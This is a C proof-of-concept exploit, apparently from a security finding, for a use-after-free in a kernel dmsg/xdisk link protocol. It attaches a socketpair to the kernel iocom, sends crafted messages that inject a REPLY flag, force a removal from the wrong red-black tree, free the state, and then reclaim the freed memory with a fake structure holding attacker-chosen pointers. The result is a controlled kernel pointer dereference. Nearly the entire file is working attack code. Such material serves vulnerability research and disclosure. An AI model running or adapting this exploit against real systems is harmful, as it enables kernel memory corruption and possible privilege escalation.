/*
 * DF-5825 - kdmsg_state_msgrx() rxcmd REPLY-direction injection ->
 * wrong-tree RB_REMOVE -> state-tree cross-corruption + UAF.
 *
 * Rig: create a socketpair, hand one end to the kernel xdisk iocom via
 * XDISKIOCATTACH, then drive the raw dmsg wire protocol from userland
 * (we are the "peer", which is exactly the attacker position in the
 * threat model of a hammer2/dmaster cluster link).
 *
 * Sequence (see findings/DF-5825 for the full state-machine trace):
 *   msg1  LNK_SPAN|CREATE|DELETE, msgid=M   -> creates staterd state S,
 *          kernel replies LNK_ERROR|CREATE|REPLY|DELETE => txcmd has DELETE,
 *          rxcmd has no DELETE => S stays RBINSERTED in staterd_tree.
 *   msg2  LNK_SPAN|REPLY|CREATE, msgid=M, REVTRANS=0
 *          -> kdmsg_state_msgrx() case REPLY|CREATE accepts it against S
 *             (lookup direction chosen by attacker-cleared REVTRANS) and
 *             overwrites S->rxcmd = SPAN|REPLY|CREATE.  REPLY bit injected.
 *   msg3  LNK_SPAN|REPLY|DELETE, msgid=M, REVTRANS=0
 *          -> DELETE processing picks the tree by (rxcmd & DMSGF_REPLY)
 *             => RB_REMOVE(&iocom->statewr_tree, S) while S is linked in
 *             staterd_tree.  staterd_tree.rbh_root left dangling at S;
 *             S then freed.  All KKASSERTs on the path pass.
 *   msg4* LNK_SPAN|CREATE|DELETE, msgid=M2, aux=192 bytes crafted as a fake
 *          kdmsg_state (aux kmalloc lands in the same 192-byte slab zone as
 *          the freed 160-byte state) -> reader's RB_FIND(staterd_tree) walks
 *          the dangling root into reclaimed, attacker-controlled memory and
 *          dereferences a fully controlled rbe_right pointer.
 *
 * Expected: kernel page fault in kdmsg_state_msgrx/kdmsg_state_cmp with the
 * fault address equal to the magic pointer from the fake aux content
 * (0x4242424242424242), i.e. a controlled kernel pointer dereference.
 *
 * Build: cc -O -o dmsg_uaf dmsg_uaf.c
 * Run:   ./dmsg_uaf   (as root - only rig plumbing needs root; the attack
 *                      itself is pure wire-protocol input from the peer)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/uio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <stdint.h>
#include <poll.h>

/* ---- minimal userland copy of the dmsg wire protocol ---- */
struct dmsg_hdr {
	uint16_t	magic;
	uint16_t	reserved02;
	uint32_t	salt;
	uint64_t	msgid;
	uint64_t	circuit;
	uint64_t	link_verifier;
	uint32_t	cmd;
	uint32_t	aux_crc;
	uint32_t	aux_bytes;
	uint32_t	error;
	uint64_t	aux_descr;
	uint32_t	reserved38;
	uint32_t	hdr_crc;
};

#define DMSG_HDR_MAGIC	0x4832
#define DMSG_ALIGN	64
#define DMSGF_CREATE	0x80000000u
#define DMSGF_DELETE	0x40000000u
#define DMSGF_REPLY	0x20000000u
#define DMSGF_ABORT	0x10000000u
#define DMSGF_REVTRANS	0x08000000u
#define DMSGF_REVCIRC	0x04000000u
#define DMSGF_CMDSWMASK	0x00FFFFFFu
#define DMSGF_SIZE	0x000000FFu

#define LNK_SPAN_CMD	0x00001207u	/* LNK proto, cmd 0x12, 7*64=448 */
#define LNK_CONN_CMD	0x00001106u
#define LNK_PING_CMD	0x00000101u
#define XX3_CMD		0x00300101u	/* unknown proto/cmd, SIZE=1: xdisk's
					 default case replies with
					 kdmsg_msg_reply(NOSUPP), closing our
					 tx direction only -> half-closed
					 staterd state (rxcmd lacks DELETE) */

struct xdisk_attach_ioctl {
	int	fd;
	int	unused01;
	int32_t	reserved02[8];
};
#define XDISKIOCATTACH	_IOWR('X', 0, struct xdisk_attach_ioctl)

#define DOALIGN(x)	(((x) + 63) & ~63)

static int	sv[2];			/* peer end of kernel iocom */
static int	xd_fd = -1;

static void
die(const char *s)
{
	perror(s);
	exit(1);
}

static void
send_msg(uint32_t cmd, uint64_t msgid, uint64_t circuit,
    const void *aux, uint32_t aux_size)
{
	size_t hbytes = (cmd & DMSGF_SIZE) * DMSG_ALIGN;
	size_t abytes = aux_size ? DOALIGN(aux_size) : 0;
	unsigned char *buf = calloc(1, hbytes + abytes);
	struct dmsg_hdr *h = (struct dmsg_hdr *)buf;
	size_t off = 0;

	h->magic = DMSG_HDR_MAGIC;
	h->salt = 0;
	h->msgid = msgid;
	h->circuit = circuit;
	h->link_verifier = 0;
	h->cmd = cmd;
	h->aux_crc = 0;
	h->aux_bytes = aux_size;
	h->error = 0;
	h->aux_descr = 0;
	h->hdr_crc = 0;
	if (aux && abytes)
		memcpy(buf + hbytes, aux, aux_size);

	while (off < hbytes + abytes) {
		ssize_t n = write(sv[1], buf + off, hbytes + abytes - off);
		if (n <= 0)
			die("write");
		off += n;
	}
	free(buf);
}

/* framed read with timeout; returns 0 on frame, -1 timeout */
static int
recv_msg(struct dmsg_hdr *out, int timeout_ms)
{
	struct pollfd pfd = { .fd = sv[1], .events = POLLIN };
	unsigned char hdrbuf[64];
	size_t hbytes, abytes;
	ssize_t n;

	if (poll(&pfd, 1, timeout_ms) <= 0)
		return (-1);
	n = read(sv[1], hdrbuf, 64);
	if (n != 64)
		die("read hdr");
	memcpy(out, hdrbuf, 64);
	hbytes = (out->cmd & DMSGF_SIZE) * DMSG_ALIGN;
	if (hbytes < 64 || hbytes > 2048)
		return (-1);
	while (hbytes > 64) {		/* drain extended header */
		unsigned char tmp[512];
		size_t want = hbytes - 64;
		if (want > sizeof(tmp))
			want = sizeof(tmp);
		n = read(sv[1], tmp, want);
		if (n <= 0)
			die("read ext");
		hbytes -= n;
	}
	abytes = out->aux_bytes ? DOALIGN(out->aux_bytes) : 0;
	while (abytes) {
		unsigned char tmp[4096];
		size_t want = abytes > sizeof(tmp) ? sizeof(tmp) : abytes;
		n = read(sv[1], tmp, want);
		if (n <= 0)
			die("read aux");
		abytes -= n;
	}
	return (0);
}

static void
drain(int ms)
{
	struct dmsg_hdr h;
	while (recv_msg(&h, ms) == 0) {
		printf("[rig] rx: cmd=%08x msgid=%016jx error=%02x\n",
		    h.cmd, (uintmax_t)h.msgid, h.error);
	}
}

int
main(int argc, char **argv)
{
	struct xdisk_attach_ioctl xa;
	struct dmsg_hdr h;
	uint64_t msgid1 = 0x41414100dead0001ULL;
	unsigned char fake[160];	/* sizeof(kdmsg_state)==160: aux of
					 * 160 bytes lands in the same
					 * kmalloc zone (zi 160/16+7) */
	int i;
	int attempts = (argc > 1) ? atoi(argv[1]) : 16;

	/* attach: socketpair end 0 goes to the kernel, we drive end 1 */
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0)
		die("socketpair");
	xd_fd = open("/dev/xdisk", O_RDWR);
	if (xd_fd < 0)
		die("open /dev/xdisk (kldload xdisk?)");
	bzero(&xa, sizeof(xa));
	xa.fd = sv[0];
	if (ioctl(xd_fd, XDISKIOCATTACH, &xa) < 0)
		die("XDISKIOCATTACH");
	printf("[rig] attached iocom via fd %d\n", sv[0]);

	/* kernel autoinitiates LNK_CONN|CREATE - drain it */
	drain(1000);

	/* msg1: CREATE-only unknown command -> staterd state S created;
	 * xaio_rcvdmsg() default case replies kdmsg_msg_reply(NOSUPP)
	 * => txcmd gets DELETE, rxcmd stays without DELETE
	 * => S half-closed and still RBINSERTED in staterd_tree */
	printf("[rig] msg1 XX3|CREATE msgid=%016jx\n", (uintmax_t)msgid1);
	send_msg(XX3_CMD | DMSGF_CREATE, msgid1, 0, NULL, 0);
	/* wait for the kernel's terminating reply (closes our tx direction) */
	for (i = 0; i < 20; i++) {
		if (recv_msg(&h, 500) == 0) {
			printf("[rig] rx: cmd=%08x msgid=%016jx error=%02x\n",
			    h.cmd, (uintmax_t)h.msgid, h.error);
			if (h.msgid == msgid1)
				break;
		}
	}
	usleep(300000);	/* let cleanuptx run: txcmd |= DELETE */

	/* msg2: REPLY|CREATE against S -> rxcmd REPLY bit injection */
	printf("[rig] msg2 XX3|REPLY|CREATE msgid=%016jx (rxcmd injection)\n",
	    (uintmax_t)msgid1);
	send_msg(XX3_CMD | DMSGF_REPLY | DMSGF_CREATE, msgid1, 0,
	    NULL, 0);
	usleep(300000);
	drain(300);

	/* msg3: REPLY|DELETE -> RB_REMOVE from the WRONG tree; S freed */
	printf("[rig] msg3 XX3|REPLY|DELETE msgid=%016jx (wrong-tree "
	    "RB_REMOVE)\n", (uintmax_t)msgid1);
	send_msg(XX3_CMD | DMSGF_REPLY | DMSGF_DELETE, msgid1, 0,
	    NULL, 0);
	usleep(500000);
	drain(300);
	printf("[rig] msg3 processed - staterd_tree root should now dangle\n");

	/* msg4: walk the dangling root through reclaimed, fake state
	 * (layout verified by probe_state on the guest: rbe_left @0,
	 *  rbe_right @8, rbe_parent @16, iocom @88, msgid @120) */
	bzero(fake, sizeof(fake));
	*(uint64_t *)(fake + 0)  = 0x4141414141414141ULL;	/* rbe_left  */
	*(uint64_t *)(fake + 8)  = 0x4242424242424242ULL;	/* rbe_right */
	*(uint64_t *)(fake + 16) = 0;				/* rbe_parent*/
	*(uint64_t *)(fake + 88) = 0;				/* iocom     */
	*(uint64_t *)(fake + 120) = 0;			/* msgid     */

	for (i = 0; i < attempts; i++) {
		uint64_t msgid2 = 0x42424200cafe0000ULL + i;

		printf("[rig] msg4.%d SPAN|CREATE|DELETE msgid=%016jx "
		    "+ fake-state aux\n", i, (uintmax_t)msgid2);
		send_msg(LNK_SPAN_CMD | DMSGF_CREATE | DMSGF_DELETE, msgid2, 0,
		    fake, sizeof(fake));
		/* if we are still alive the reclaim missed; retry */
		usleep(400000);
		drain(400);
	}

	/* final poke: tear the link down, teardown walks the poisoned tree */
	printf("[rig] closing peer socket (teardown poke)\n");
	close(sv[1]);
	sleep(3);
	drain(300);

	printf("NO-PANIC\n");
	return (0);
}